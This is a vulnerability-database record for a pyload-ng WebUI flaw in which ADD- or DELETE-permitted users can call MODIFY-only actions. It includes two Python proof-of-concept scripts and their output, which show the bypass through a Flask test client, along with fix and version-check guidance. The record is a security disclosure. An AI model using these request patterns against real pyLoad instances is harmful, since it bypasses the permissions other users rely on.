{"id":"CVE-2026-40071","kind":"vulnerability","aliases":["CVE-2026-40071","GHSA-rfgh-63mg-8pwm"],"related":[],"title":"pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions","description":"### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'attacker'\n\n    def order_package(self, pack_id, pos):\n        self.calls.append(('order_package', int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append(('order_file', int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.ADD}\nprint('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))\nprint('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'attacker'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.ADD)\n\n    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})\n    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})\n\nprint('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())\nprint('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [('order_package', 5, 0), ('order_file', 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'u'\n\n    def stop_downloads(self, ids):\n        self.calls.append(('stop_downloads', ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.DELETE}\nprint('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'u'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.DELETE)\n\n    r = c.post('/json/abort_link', json={'link_id': 999})\n\nprint('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [('stop_downloads', [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.","summary":"pyLoad's WebUI JSON endpoints check weaker permissions than the core API methods they call, so a low-privileged user with ADD or DELETE rights can reorder packages and files or abort active downloads. The result is unauthorized changes to the download queue and interrupted downloads, not admin takeover.","severity":"medium","cvss":5.4,"epss":0.00219,"exploited":false,"exploited_at":null,"products":[{"name":"pyload-ng","fixed":["0.5.0b3.dev97"],"affected":"< 0.5.0b3.dev97","ecosystem":"pypi"},{"name":"pyload","fixed":["2026-04-13"],"affected":"< 2026-04-13","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["cwe-285","cwe-863","package","pyload-ng","python","self-hosted"],"not_affected_if":["default-config","single-user"],"how_to_check":"- Run `pip show pyload-ng` and compare the installed version with `0.5.0b3.dev97`.\n- Check whether any non-admin accounts hold only ADD or DELETE permission in the pyLoad user settings.","fix":"- Upgrade `pyload-ng` to `0.5.0b3.dev97` or later.\n- Until upgraded, restrict WebUI accounts to trusted users or remove ADD and DELETE grants from non-admin users.","status":"open","published_at":"2026-04-08T00:18:20+00:00","first_seen_at":"2026-10-26T15:59:06+00:00","triaged_at":"2026-10-26T15:59:20+00:00","updated_at":"2026-10-26T16:02:26+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T15:59:20Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `pyload-ng` to `0.5.0b3.dev97` or later.\n- Until upgraded, restrict WebUI accounts to trusted users or remove ADD and DELETE grants from non-admin users.","reach":"network","title":"pyLoad: WebUI routes let ADD and DELETE users run MODIFY-only actions","impact":"low","summary":"pyLoad's WebUI JSON endpoints check weaker permissions than the core API methods they call, so a low-privileged user with ADD or DELETE rights can reorder packages and files or abort active downloads. The result is unauthorized changes to the download queue and interrupted downloads, not admin takeover.","category":"package","nicknames":[],"who_cares":["pyload-ng","self-hosted","python"],"confidence":0.8,"needs_auth":"yes","worst_case":"Low-privileged users reorder queues and abort other users' downloads.","analyst_note":"","how_to_check":"- Run `pip show pyload-ng` and compare the installed version with `0.5.0b3.dev97`.\n- Check whether any non-admin accounts hold only ADD or DELETE permission in the pyLoad user settings.","needs_analyst":false,"not_affected_if":["single-user","default-config"],"who_is_affected":"Teams that run pyLoad's WebUI with several non-admin accounts that have per-user permissions. Single-user installs where every account is an admin are not meaningfully exposed, and instances without a WebUI login are not affected by this route.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000853,"input_tokens":5738,"output_tokens":559,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-117':200C '-131':224C '-145':212C '-190':267C '-196':249C '-2026':20A,28A '-217':255C '-285':35B '-40071':21A,29A '-863':37B '/json/abort_link':155C,213C '/json/edit_package':250C '/json/link_order':146C,201C,464C,484C,521C '/json/move_package':244C '/json/package_order':144C,189C,455C,473C,516C '0':307C,461C,529C,556C '0.5.0':279C '1':470C,533C '1046':181C '109':199C '1125':169C '1137':175C '123':223C '137':211C '200':517C,522C '5':459C,528C '63mg':25A '77':468C,532C '8pwm':26A 'abort':78B,150C 'action':18A,241C 'activ':79B 'add':68B,134C,193C,205C,289C,384C,397C,502C,510C 'add-on':288C,383C,396C,501C,509C 'add/delete':12A 'admin':94B 'allow':112C 'api':57B,107C,163C,317C,369C,370C,381C,394C,424C,499C,507C,566C 'api.is':388C,401C 'api.order':196C,208C 'api.stop':220C 'app':406C 'app.config':412C,415C,422C 'app.register':426C 'app.secret':409C 'app.test':430C 'assign':265C 'attack':338C,444C 'auth':382C,395C,500C,508C 'authent':113C,440C 'author':389C,402C 'b':535C 'b3':280C 'blueprint':236C,324C,427C 'boundari':270C 'c':433C 'c.post':454C,463C 'c.session':435C 'call':60B,195C,207C,219C,494C,525C 'chang':85B 'check':51B,188C 'class':325C 'client':431C 'code':475C,486C 'commit':283C 'confirm':132C 'control':274C 'conveni':232C 'core':56B,106C,162C 'correct':237C 'csrf':417C 'ctx':375C,392C,405C 'cve':19A,27A 'cwe':34B,36B 'data':477C,488C 'ddc53b3d7':285C 'def':327C,331C,339C,354C 'defin':158C 'delet':70B,147C,217C,537C 'delete-on':536C 'deni':125C 'detail':156C 'download':80B,88B,92B,151C,153C,177C,221C,545C 'edit':240C 'enabl':418C 'endpoint':50B,100C 'enforc':101C 'environ':276C 'execut':119C 'exist':333C 'expos':259C 'f':420C,425C 'f.calls':495C 'fakeapi':326C,421C 'fals':419C,506C,514C 'file':76B,142C,171C,209C,282C,356C,358C,363C,365C,400C,404C,466C,513C,531C 'flask':311C,313C,407C,560C,562C 'ghsa':23A 'ghsa-rfgh-63mg-8pwm':22A 'granular':159C,260C 'host':45B 'http':472C,483C,515C,520C 'id':344C,351C,359C,366C,458C,467C 'impli':268C 'import':298C,300C,304C,312C,316C,322C,547C,549C,553C,561C,565C 'init':328C 'int':349C,352C,364C,367C,447C,451C 'intend':272C 'interrupt':91B 'invok':14A,110C,292C,540C 'json':7A,49B,99C,184C,235C,323C,456C,465C 'json_blueprint.bp':428C 'json_blueprint.py:188':248C 'json_blueprint.py:202':254C 'k':411C 'key':410C 'lambda':372C 'let':11A 'like':228C 'login':191C,203C,215C,245C,251C 'low':64B,115C 'low-privileg':63B,114C 'method':58B,108C 'mismatch':9A,133C 'model':131C 'modifi':16A,120C,243C,247C,253C,294C,542C 'modify-on':15A,293C,541C 'name':408C,443C 'ng':3A,32A,41B 'observ':496C 'oper':121C 'order':139C,141C,164C,170C,340C,347C,355C,362C,386C,390C,399C,403C,504C,512C,526C,530C 'os':299C,548C 'os.path.abspath':308C,557C 'output':497C 'pack':343C,350C,457C 'packag':38B,74B,140C,165C,197C,341C,348C,387C,391C,505C,527C 'packages/files':138C 'per':262C 'per-us':261C 'perm':318C,450C,567C 'permiss':8A,53B,103C,130C,160C,264C,378C 'perms.add':379C,452C 'perms.modify':167C,173C,179C 'poc':275C,286C,534C 'pos':345C,353C,360C,368C,460C,469C 'print':380C,393C,471C,482C,493C 'privileg':65B,116C 'project':257C 'protect':238C 'pyload':2A,31A,33A,40B,46B,127C,157C,423C 'pyload-ng':1A,30A,39B 'pyload.core.api':315C,564C 'pyload.webui.app.blue':570C 'pyload.webui.app.blueprints':321C 'python':42B,297C,546C 'queue':89B 'r1':453C 'r1.get':476C 'r1.status':474C 'r2':462C 'r2.get':487C 'r2.status':485C 'reorder':73B,137C,296C 'repositori':277C 'requir':166C,172C,178C,192C,204C,216C,246C,252C 'respons':518C,523C 'result':82B 'return':336C 'rfgh':24A 'right':71B 'role':319C,376C,446C,568C 'role.user':377C,448C 'rout':185C 'secur':273C 'self':44B,329C,334C,342C,357C 'self-host':43B 'self.calls':330C 'self.calls.append':346C,361C 'settings.html:184':266C 'sever':97C 'simplenamespac':305C,371C,554C 'src':309C,558C 'src/pyload/core/api/__init__.py':168C,174C,180C 'src/pyload/webui/app/blueprints/json_blueprint.py':198C,210C,222C 'stop':152C,176C,544C 'strip':481C,492C 'success':519C,524C 'summari':96C 'sys':301C,550C 'sys.path.insert':306C,555C 'takeov':95B 'test':284C,413C 'text':479C,490C,498C 'transact':436C 'true':414C,441C,480C,491C 'type':303C,552C 'ui':258C 'unauthor':84B 'unintend':229C 'use':186C,190C,202C,214C 'user':13A,66B,117C,135C,148C,263C,291C,332C,539C 'usernam':335C,337C 'version':278C,281C 'via':143C,154C 'weaker':52B,102C,187C 'webui':6A,48B,98C,183C 'wtf':416C 'x':373C,374C","nicknames":[],"mitigations":[],"who_affected":"Teams that run pyLoad's WebUI with several non-admin accounts that have per-user permissions. Single-user installs where every account is an admin are not meaningfully exposed, and instances without a WebUI login are not affected by this route.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-04-08T00:18:20+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-rfgh-63mg-8pwm","url":"https://github.com/advisories/GHSA-rfgh-63mg-8pwm","severity":"medium","published_at":"2026-04-08T00:18:20+00:00","modified_at":"2026-10-26T15:57:11+00:00","first_seen_at":"2026-10-26T15:59:06+00:00","fetched_at":"2026-10-26T16:04:20+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-40071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40071","severity":null,"published_at":"2026-04-09T18:17:03+00:00","modified_at":"2026-06-17T10:44:41+00:00","first_seen_at":"2026-10-26T16:02:26+00:00","fetched_at":"2026-10-26T16:02:26+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}